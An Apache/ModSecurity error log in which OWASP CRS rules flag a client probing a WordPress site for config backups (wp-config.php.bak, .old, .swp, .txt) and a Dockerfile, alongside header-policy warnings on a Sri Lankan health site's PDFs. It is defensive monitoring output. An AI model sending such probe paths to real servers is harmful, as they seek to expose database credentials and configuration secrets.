[Fri Jul 17 10:19:14.210915 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.backup"] [unique_id "alm0SlmuKRtYY-VAGIVYfgAAAAk"]
[Fri Jul 17 10:19:14.211231 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.backup"] [unique_id "alm0SlmuKRtYY-VAGIVYfgAAAAk"]
[Fri Jul 17 10:19:14.452310 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-14-02-2020_10.pdf"] [unique_id "alm0Soe39YUk0SgV8AVIkgAAABE"]
[Fri Jul 17 10:19:14.452672 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-14-02-2020_10.pdf"] [unique_id "alm0Soe39YUk0SgV8AVIkgAAABE"]
[Fri Jul 17 10:19:14.452983 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-14-02-2020_10.pdf"] [unique_id "alm0Soe39YUk0SgV8AVIkgAAABE"]
[Fri Jul 17 10:19:14.543770 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SlmuKRtYY-VAGIVYfgAAAAk"]
[Fri Jul 17 10:19:14.563150 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:43692] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:14.580421 2026] [security2:error] [pid 2018768:tid 2018768] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SlCBpfuYyhJ140vhUAAAAB4"]
[Fri Jul 17 10:19:14.858356 2026] [security2:error] [pid 2063441:tid 2063441] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.bak"] [unique_id "alm0StKHXJzatLSGO6Iu3AAAABU"]
[Fri Jul 17 10:19:14.858606 2026] [security2:error] [pid 2063441:tid 2063441] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.bak"] [unique_id "alm0StKHXJzatLSGO6Iu3AAAABU"]
[Fri Jul 17 10:19:14.858933 2026] [security2:error] [pid 2063441:tid 2063441] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.bak"] [unique_id "alm0StKHXJzatLSGO6Iu3AAAABU"]
[Fri Jul 17 10:19:14.913358 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.old"] [unique_id "alm0SlWVGD3EZW05fn32WgAAAAI"]
[Fri Jul 17 10:19:14.913609 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.old"] [unique_id "alm0SlWVGD3EZW05fn32WgAAAAI"]
[Fri Jul 17 10:19:14.913920 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.old"] [unique_id "alm0SlWVGD3EZW05fn32WgAAAAI"]
[Fri Jul 17 10:19:15.061938 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.save"] [unique_id "alm0S5BVIrrUwtEhdaffhwAAAAU"]
[Fri Jul 17 10:19:15.062206 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.save"] [unique_id "alm0S5BVIrrUwtEhdaffhwAAAAU"]
[Fri Jul 17 10:19:15.248911 2026] [security2:error] [pid 2063441:tid 2063441] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0StKHXJzatLSGO6Iu3AAAABU"]
[Fri Jul 17 10:19:15.434348 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:15.479088 2026] [security2:error] [pid 2063883:tid 2063883] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0SlWVGD3EZW05fn32WgAAAAI"]
[Fri Jul 17 10:19:15.523923 2026] [security2:error] [pid 2064883:tid 2064883] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-12-02_10.pdf"] [unique_id "alm0SwgUGKrGY1YsJl1wDgAAAAY"]
[Fri Jul 17 10:19:15.524334 2026] [security2:error] [pid 2064883:tid 2064883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-12-02_10.pdf"] [unique_id "alm0SwgUGKrGY1YsJl1wDgAAAAY"]
[Fri Jul 17 10:19:15.524677 2026] [security2:error] [pid 2064883:tid 2064883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-12-02_10.pdf"] [unique_id "alm0SwgUGKrGY1YsJl1wDgAAAAY"]
[Fri Jul 17 10:19:15.569550 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0S5BVIrrUwtEhdaffhwAAAAU"]
[Fri Jul 17 10:19:15.660869 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.swp"] [unique_id "alm0S1muKRtYY-VAGIVYfwAAAAk"]
[Fri Jul 17 10:19:15.661118 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.swp"] [unique_id "alm0S1muKRtYY-VAGIVYfwAAAAk"]
[Fri Jul 17 10:19:15.661426 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.swp"] [unique_id "alm0S1muKRtYY-VAGIVYfwAAAAk"]
[Fri Jul 17 10:19:15.828920 2026] [security2:error] [pid 2063895:tid 2063895] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.txt"] [unique_id "alm0Sxf3V7HXByUCfDSz2gAAABY"]
[Fri Jul 17 10:19:15.829212 2026] [security2:error] [pid 2063895:tid 2063895] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/wp-config.php.txt"] [unique_id "alm0Sxf3V7HXByUCfDSz2gAAABY"]
[Fri Jul 17 10:19:15.867982 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0S1muKRtYY-VAGIVYfwAAAAk"]
[Fri Jul 17 10:19:16.265569 2026] [security2:error] [pid 2063895:tid 2063895] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0Sxf3V7HXByUCfDSz2gAAABY"]
[Fri Jul 17 10:19:16.384770 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:43794] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:17.210840 2026] [security2:error] [pid 2063463:tid 2063463] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-15-08_10.pdf"] [unique_id "alm0Tf72foAPmCnen3StKwAAABs"]
[Fri Jul 17 10:19:17.211224 2026] [security2:error] [pid 2063463:tid 2063463] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-15-08_10.pdf"] [unique_id "alm0Tf72foAPmCnen3StKwAAABs"]
[Fri Jul 17 10:19:17.211510 2026] [security2:error] [pid 2063463:tid 2063463] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-15-08_10.pdf"] [unique_id "alm0Tf72foAPmCnen3StKwAAABs"]
[Fri Jul 17 10:19:19.838593 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:20.144152 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "Dockerfile" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/Dockerfile"] [unique_id "alm0UDM07o9wrUj-Wv1y_AAAABQ"]
[Fri Jul 17 10:19:20.144385 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/Dockerfile"] [unique_id "alm0UDM07o9wrUj-Wv1y_AAAABQ"]
[Fri Jul 17 10:19:20.508796 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:44012] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:20.556584 2026] [security2:error] [pid 2063436:tid 2063436] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0UDM07o9wrUj-Wv1y_AAAABQ"]
[Fri Jul 17 10:19:21.674488 2026] [security2:error] [pid 2039911:tid 2039911] [client 84.247.146.115:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] 